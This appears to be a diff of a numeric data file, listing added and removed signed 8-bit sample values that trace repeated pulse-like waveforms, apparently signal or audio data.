+-12 +-12 +-12 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 +115 +110 +107 +104 +100 +95 +90 +84 +79 +72 +66 +59 +53 +46 +42 +37 +33 +29 +26 +23 +20 +17 +15 +12 +11 +9 +7 +5 +4 +2 +1 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-6 +-8 +-8 +-9 +-10 +-10 +-10 +-92 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-99 +-109 +-103 +-97 +-91 +-69 +-81 +-77 +-73 +-68 +-64 +-61 +-59 +-55 +-52 +-49 +-48 +-45 +-43 +-41 +-39 -38 -36 -34 +-33 -32 --30 +-31 +-29 +-28 -27 +-26 -25 +-24 +-24 +-23 -23 -22 +-21 +-21 -20 +-20 +-19 -19 -18 --17 --15 --14 --13 --13 --12 --11 --11 --10 --8 --8 --7 --6 --6 --5 --5 --5 --4 --4 --3 --4 --3 --3 --3 --2 --2 --1 --1 --1 --1 --1 --1 --1 -0 -0 -0 --1 -0 -0 -0 -0 -0 -0 -0 -0 -0 -0 -0 -0 -0 -0 -1 -0 -0 -0 -0 -1 -1 -1 -1 -1 -1 -1 -0 -1 -2 -2 -1 -1 -2 -2 -1 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -2 -2 -1 -1 -1 -2 -2 -2 -1 -2 -2 -2 -1 -1 -2 -2 -1 -1 -2 -1 -1 -1 -1 -2 -1 -1 -1 -2 -2 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -2 -2 -2 -1 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -3 -2 -2 -2 -2 -0 -0 -1 -1 -1 -0 -1 -2 -1 -1 -2 -2 -2 -1 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -1 -2 -2 -2 -2 -2 -2 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -1 -1 -1 -1 -1 -0 -2 -1 -1 -0 -1 -1 -2 -1 -1 -2 -2 -1 -1 -2 -2 -1 -2 -1 -2 -2 -1 -2 -2 -2 -2 -2 -2 -1 -1 -2 -2 -1 -2 -2 -2 -1 -1 -1 -2 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -2 -1 -2 -2 -1 -1 -1 -2 -1 -1 -1 -2 -2 -1 -1 -1 -2 -2 -1 -1 -2 -2 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -129 -124 -122 -117 -113 -109 -104 -98 -93 -86 -80 -73 -68 -62 -56 -51 -48 -44 -40 -36 -34 -31 -29 -27 -25 -24 -22 -20 -18 -17 -16 -14 -13 -12 -10 -10 -9 -8 -8 -7 -6 -5 -4 -4 -3 --79 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --93 --84 --93 --88 --83 --77 --55 --67 --63 --59 --54 --51 --48 --45 --42 --39 --36 --34 --32 --29 --27 --25 --23 --22 --20 --19 +-18 +-18 -18 -17 -16 +-16 +-16 +-16 +-16 +-15 +-16 +-15 +-15 +-15 -15 -14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-15 +-15 +-14 +-14 +-14 +-14 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-14 +-14 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-14 +-13 +-12 +-13 +-14 +-14 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-14 +-14 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +122 +116 +111 +108 +104 +100 +95 +90 +84 +79 +72 +66 +59 +53 +47 +42 +37 +33 +30 +26 +23 +20 +17 +15 +13 +11 +9 +7 +5 +4 +2 +1 +-1 +-1 +-2 +-3 +-4 +-4 +-5 +-6 +-7 +-7 +-8 +-9 +-9 +-10 +-92 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-97 +-107 +-101 +-80 +-90 +-69 +-81 +-77 +-73 +-69 +-65 +-62 +-59 +-56 +-53 +-50 +-48 +-46 +-43 +-41 +-40 +-38 +-37 +-34 +-33 +-33 +-32 +-30 +-29 +-28 +-27 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +113 +109 +106 +102 +98 +93 +88 +82 +76 +70 +64 +57 +52 +46 +41 +36 +32 +28 +25 +22 +19 +16 +15 +12 +11 +9 +7 +5 +4 +2 +1 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-6 +-8 +-8 +-9 +-10 +-10 +-10 +-93 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-99 +-108 +-102 +-97 +-91 +-70 +-81 +-77 +-72 +-68 +-65 +-62 +-59 +-56 +-53 +-50 +-48 +-45 +-43 +-41 +-39 +-37 +-35 +-34 +-33 +-32 +-31 +-29 +-29 +-27 +-26 +-26 +-24 +-24 +-23 +-22 +-22 +-21 +-20 +-20 +-20 +-19 +-19 +-18 +-18 +-17 +-17 +-17 +-17 +-16 +-16 +-16 +-16 +-15 +-15 +-15 +-15 +-15 +-15 +-14 +-15 +-14 +-14 +-14 +-14 +-14 +-13 +-13 +-14 +-14 +-14 +-13 +-13 +-14 +-14 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-13 +-12 +-12 +-12 +-13 +-12 +-13 +-12 +-13 +-14 +-13 +-13 +-13 +-13 +-14 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-12 +-13 +-13 +-12 +-13 +-13 +-12 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +120 +114 +109 +107 +104 +100 +96 +91 +85 +79 +72 +66 +59 +53 +47 +42 +37 +33 +29 +26 +23 +20 +17 +15 +13 +11 +9 +7 +6 +4 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-6 +-7 +-8 +-9 +-9 +-10 +-10 +-11 +-11 +-12 +-12 +-13 +-13 +-13 +-14 +-14 +-14 +-14 +-14 +-15 +-14 +-15 +-15 +-15 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-17 +-16 +-17 +-16 +-17 +-17 +-17 +-16 +-16 +-16 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-16 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-16 +-16 +-16 +-16 +-17 +-17 +-17 +-17 +-17 +-98 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-99 +-108 +-102 +-80 +-91 +-70 +-81 +-76 +-72 +-69 +-65 +-62 +-58 +-56 +-53 +-50 +-48 +-45 +-44 +-41 +-39 +-38 +-36 +-35 +-35 +-33 +-31 +-30 +-30 +-29 +-27 +-26 +-25 +-24 +-23 +-22 +-22 +-22 +-21 +-20 +-20 +-20 +-19 +-18 +-18 +-18 +-17 +-17 +-16 +-16 +-17 +-16 +-16 +-16 +-16 +-16 +-15 +-15 +-15 +-15 +-15 +-14 +-14 +-14 +-14 +-14 +-14 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-13 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-13 +-14 +-14 +-12 +-12 +-12 +-14 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-11 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 +115 +110 +106 +103 +100 +96 +90 +84 +79 +72 +66 +59 +52 +46 +42 +37 +33 +29 +26 +23 +20 +17 +15 +13 +11 +9 +7 +5 +4 +2 +1 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-11 +-11 +-12 +-12 +-13 +-13 +-13 +-13 +-14 +-14 +-14 +-14 +-15 +-15 +-15 +-15 +-15 +-15 +-15 +-15 +-16 +-15 +-16 +-16 +-16 +-16 +-16 +-16 +-17 +-16 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-16 +-16 +-16 +-17 +-17 +-16 +-17 +-17 +-17 +-18 +-18 +-18 +-18 +-18 +-18 +-17 +-17 +-17 +-17 +-18 +-18 +-18 +-18 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-18 +-17 +-18 +-18 +-18 +-18 +-18 +-17 +-18 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-18 +-18 +-17 +-18 +-17 +-17 +-17 +-17 +-18 +-17 +-18 +-17 +-18 +-18 +-18 +-18 +-18 +-18 +-18 +-18 +-18 +-18 +-18 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-99 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-109 +-102 +-80 +-92 +-71 +-81 +-77 +-73 +-69 +-65 +-61 +-59 +-56 +-53 +-50 +-48 +-46 +-44 +-41 +-40 +-38 +-37 +-35 +-34 +-33 +-32 +-30 +-28 +-28 +-27 +-26 +-25 +-25 +-24 +-23 +-22 +-21 +-21 +-20 +-20 +-20 +-19 +-19 +-19 +-18 +-18 +-17 +-17 +-16 +-16 +-16 +-15 +-15 +-15 +-14 +-15 +-15 +-15 +-15 +-15 +-15 +-15 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-15 +-14 +-14 +-14 +-14 +-13 +-14 +-14 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-14 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 -12 -11 -11 --10 --9 --8 --8 --8 --7 --6 --6 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +112 +109 +106 +102 +98 +94 +90 +83 +77 +70 +64 +57 +51 +45 +40 +35 +31 +27 +24 +21 +18 +15 +13 +11 +9 +7 +5 +4 +3 +1 +0 +-1 +-3 +-4 -5 +-6 +-7 +-9 +-9 +-10 +-11 +-11 +-11 +-12 +-11 +-95 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-105 +-98 +-107 +-102 +-97 +-91 +-70 +-81 +-77 +-73 +-68 +-65 +-62 +-59 +-56 +-53 +-50 +-48 +-45 +-43 +-41 +-39 +-37 +-36 +-34 +-33 +-32 +-31 +-30 +-29 +-28 +-26 +-26 +-24 +-24 +-23 +-22 +-22 +-21 +-21 +-20 +-20 +-20 +-19 +-18 +-18 +-18 +-18 +-17 +-16 +-16 +-16 +-16 +-16 +-15 +-15 +-14 +-14 +-15 +-14 +-14 +-15 +-14 +-14 +-14 +-13 +-14 +-13 +-13 +-13 +-14 +-14 +-14 +-13 +-14 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-13 +-13 +-12 +-13 +-13 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-14 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 +115 +110 +107 +104 +100 +95 +90 +84 +78 +72 +66 +59 +53 +47 +43 +38 +33 +29 +25 +22 +20 +16 +14 +12 +11 +9 +7 +6 +4 +3 +2 +1 +0 +-1 +-2 -4 --4 --4 +-5 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-10 +-93 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +-98 +-108 +-102 +-80 +-91 +-70 +-82 +-77 +-73 +-69 +-66 +-62 +-59 +-56 +-53 +-51 +-48 +-45 +-44 +-42 +-40 +-37 +-36 +-34 +-33 +-31 +-30 +-29 +-29 +-27 +-26 +-25 +-25 +-24 +-23 +-22 +-22 +-22 +-21 +-20 +-20 +-19 +-19 +-18 +-18 +-18 +-18 +-17 +-17 +-16 +-16 +-16 +-16 +-15 +-16 +-15 +-15 +-15 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-13 +-13 +-14 +-14 +-14 +-14 +-14 +-14 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-14 +-13 +-14 +-13 +-13 +-14 +-13 +-12 +-13 +-13 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +122 +116 +111 +108 +104 +100 +96 +91 +84 +79 +72 +66 +59 +54 +48 +43 +38 +34 +29 +26 +23 +20 +17 +15 +12 +11 +9 +7 +6 +4 +3 +2 +0 +0 +-2 -3 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-9 +-10 +-10 +-93 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-98 +-108 +-102 +-80 +-91 +-70 +-81 +-76 +-72 +-69 +-65 +-61 +-58 +-55 +-52 +-50 +-48 +-45 +-43 +-41 +-39 +-37 +-36 +-34 +-33 +-32 +-31 +-29 +-29 +-27 +-27 +-26 +-25 +-24 +-23 +-23 +-22 +-21 +-20 +-20 +-20 +-19 +-19 +-18 +-18 +-17 +-18 +-17 +-16 +-16 +-16 +-16 +-16 +-15 +-16 +-15 +-15 +-14 +-15 +-15 +-15 +-15 +-15 +-15 +-15 +-14 +-14 +-14 +-14 +-13 +-14 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +120 +115 +110 +107 +103 +100 +95 +90 +84 +79 +72 +66 +59 +53 +47 +42 +37 +33 +29 +26 +23 +21 +18 +16 +13 +11 +9 +7 +6 +4 +3 +2 +0 +0 +-1 -3 --2 --2 --2 --2 --2 --2 --2 --2 --1 --1 -0 -0 -0 +-4 +-5 +-6 +-7 +-8 +-9 +-9 +-10 +-10 +-10 +-93 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-100 +-109 +-103 +-98 +-91 +-70 +-82 +-78 +-74 +-68 +-65 +-62 +-59 +-56 +-52 +-50 +-48 +-46 +-43 +-41 +-40 +-38 +-36 +-34 +-33 +-32 +-31 +-30 +-29 +-28 +-28 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +118 +112 +108 +104 +101 +98 +93 +88 +82 +76 +70 +64 +57 +51 +45 +40 +36 +32 +28 +26 +22 +20 +18 +16 +13 +11 +9 +7 +5 +4 +2 +1 0 +-2 +-3 +-4 +-5 +-5 +-6 +-7 +-7 +-8 +-8 +-9 +-9 +-10 +-93 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-99 +-108 +-102 +-97 +-91 +-70 +-82 +-77 +-72 +-69 +-65 +-62 +-59 +-56 +-53 +-50 +-48 +-45 +-43 +-41 +-39 +-38 +-36 +-34 +-33 +-32 +-31 +-29 +-28 +-27 +-27 +-26 +-25 +-24 +-24 +-22 +-22 +-21 +-21 +-21 +-20 +-19 +-19 +-18 +-18 +-17 +-17 +-17 +-17 +-16 +-16 +-16 +-16 +-15 +-15 +-15 +-15 +-15 +-14 +-14 +-15 +-14 +-14 +-14 +-14 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-14 +-14 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-12 +-13 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 